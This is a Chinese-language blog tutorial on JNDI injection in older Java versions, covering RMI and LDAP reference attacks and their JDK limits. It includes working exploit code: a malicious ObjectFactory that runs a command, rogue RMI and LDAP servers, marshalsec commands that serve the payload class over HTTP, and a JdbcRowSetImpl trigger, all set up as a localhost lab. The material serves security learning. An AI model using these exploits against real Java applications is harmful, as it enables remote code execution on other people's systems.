栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』基础JNDI注入原理和手段探究(低版本)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』基础JNDI注入原理和手段探究(低版本)

文章目录

版本限制恶意RMI Remote类(应用受限)

原理注入步骤限制 恶意ObjectFactory工厂类

RMI + Reference

原理代码实现

marshalsec构建恶意rmi服务 限制debug追函数调用链对象工厂RCE的触发位置JdbcRowSetImpl触发注入 LDAP + Reference

原理maven依赖代码实现

marshalsec构建恶意ldap服务 限制调用链JdbcRowSetImpl触发注入 参考完

版本限制

恶意RMI Remote类(应用受限) 原理

codebase是一个URL、引导JVM查找类的地址

Client在lookup加载过程中会先在本地寻找Stub类,如果没有找到就向codebase远程加载Stub类。

若设置codebase为http://foo.com,加载com.test.Test类时便会下载http://foo.com/com/test/Test.class

那么只要控制Server端的codebase(修改Client端的codebase地址),就能给Client完成注入。

注入步骤
    攻击者将恶意Remote对象绑定到Server端的RegistryRemote类放在服务器上,然后设置Server端的codebase地址(java.rmi.server.codebase属性)Client在lookup时找不到该类就会向远程codebase加载恶意Remote对象
限制

官方基于此攻击手法设置了防御手段,必须满足以下条件才能完成攻击:

java.rmi.server.useCodebaseOnly为false

从5u45、6u45、7u21、8u121开始,java.rmi.server.useCodebaseOnly的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。

这种方法用途不是很广

恶意ObjectFactory工厂类

JNDI通过对象工厂(ObjectFactory)来实现动态加载对象

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。

绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

创建对象工厂需要实现ObjectFactory接口的getObjectInstance方法,在这个方法中插入恶意代码即可

package JNDIInjection.evilObjectFactory;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObjectFactory implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
        System.out.println("done");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
RMI + Reference 原理

给RMIServer绑定Reference对象,当RMIClient获取这个对象发现是Reference类型时、若允许远程加载便会加载恶意对象工厂调用getObjectInstance方法

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseonly 系统属性的限制

攻击者扮演Server端,受害者正常扮演Client端

代码实现

攻击者首先给RMIServer绑定恶意对象工厂,Reference需要wrapper转换成可以绑定的对象。该而对象工厂需要提前编译为class文件,在新建Reference对象时通过URL索引,这里用file协议

package JNDIInjection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        String className = "JNDIInjection.evilObjectFactory.EvilObjectFactory";
        String url = "file://C:\xxx\EvilObjectFactory.class";

        LocateRegistry.createRegistry(1099);

        Reference reference = new Reference(className, className, url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        Naming.rebind("hacked", referenceWrapper);
        System.out.println("rmi://127.0.0.1/hacked is working...");
    }
}

受害者是Client端,lookup即触发RCE

package JNDIInjection;

import javax.naming.InitialContext;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1/hacked");
    }
}

marshalsec构建恶意rmi服务

把编写的恶意对象工厂的包名去掉,编译为class文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666

然后起一个http server在80端口,把这个恶意工厂放上去

python -m http.server 80

受害者lookup任意name都能触发

限制

JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false

客户端com.sun.jndi.rmi.object.trustURLCodebase设置为true debug追函数

追一下lookup函数,在GenericURLContext中,来到了var3.lookup()

然后调用了var3的this.registry.lookup,这个函数与Server完成交互与反序列化操作,最后调用了decodeObject

decodeObject对绑定了Reference且信任远程codebase时:调用了NamingManager的getObjectInstance

如果Reference有工厂类,那么实例化该工厂类、调用我们重写的getObjectInstance方法

最后就来到了RCE部分(由于是本机debug可以追到这个地方)

调用链
InitialContext.lookup()
GenericURLContext.lookup()
RegistryContext.lookup()
RegistryContext.decodeObject()
NamingManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()

对象工厂RCE的触发位置

NamingManager.getObjectFactoryFromReference之中对工厂实例化了

那么可以在编造恶意对象工厂时:把RCE代码插在构造方法、静态代码块,以及被调用的重写getObjectInstance之中,都可以达到RCE

JdbcRowSetImpl触发注入

Matthias Kaiser(@matthias_kaiser)发现com.sun.rowset.JdbcRowSetImpl类的execute()也可以触发JNDI注入

package JNDIInjection.RMI;

import com.sun.rowset.JdbcRowSetImpl;

public class JdbcRowSetImplRMI {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://127.0.0.1/hacked");
        jdbcRowSet.execute();
    }
}


JdbcRowSetImpl.execute首先调用prepare()

然后调用connect()

初次链接conn为空,然后就会执行InitialContext.lookup(),因此只要JdbcRowSet.setDataSourceName("rmi://xxx/yyy")把数据源地址设置为恶意Server端即可

这也是fastjson的注入原理

LDAP + Reference 原理

原理与RMI协议基本一致,不受com.sun.jndi.rmi.object.trustURLCodebase等属性的限制

maven依赖

    com.unboundid
    unboundid-ldapsdk
    3.1.1
    test

代码实现

攻击者起一个ldap服务器然后绑定Reference对象

编写private static class继承InMemoryOperationInterceptor,自定义ldap操作拦截器配置监听选项ldap config创建ldap服务对象并开启监听

package JNDIInjection.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("127.0.0.1"),
                389,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()
        ));
        config.addInMemoryOperationInterceptor(new OperationInterceptor());
        InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
        directoryServer.startListening();
        System.out.println("ldap://127.0.0.1:389/hacked is working...");
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor{
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getbaseDN();
            String className = "JNDIInjection.server.EvilObjectFactory";
            String url = "file://C:\xxx\JNDIInjection\server\EvilObjectFactory.class";

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", className);
            entry.addAttribute("javaFactory", className);
            entry.addAttribute("javaCodebase", url);
            entry.addAttribute("objectClass", "javaNamingReference");

            try {
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
}

受害者lookup,URLldap://URL/xxx,其中xxx任意均可完成注入

package JNDIInjection.ldap;

import javax.naming.Context;
import javax.naming.InitialContext;

public class LadpClient {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1/hacked");
    }
}
marshalsec构建恶意ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#EvilObjectFactoryExploit 6666

这次不用起http server了

限制

在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

com.sun.jndi.ldap.object.trustURLCodebase设置为true 调用链

InitialContext.lookup()
ldapURLContext.lookup()
GenericURLContext.lookup()
PartialConpositeContext.lookup()
ComponentContext.p_lookup()
LdapCtx.c_lookup()
DirectoryManager.getObjectInstance()
EvilObjectFactory.getObjectInstance()

JdbcRowSetImpl触发注入

参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用
技术专栏 | 深入理解JNDI注入与Java反序列化漏洞利用
JAVA JNDI注入(一)
java-jndi注入知识详解

欢迎在评论区留言,欢迎关注我的CSDN @Ho1aAs

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/708716.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号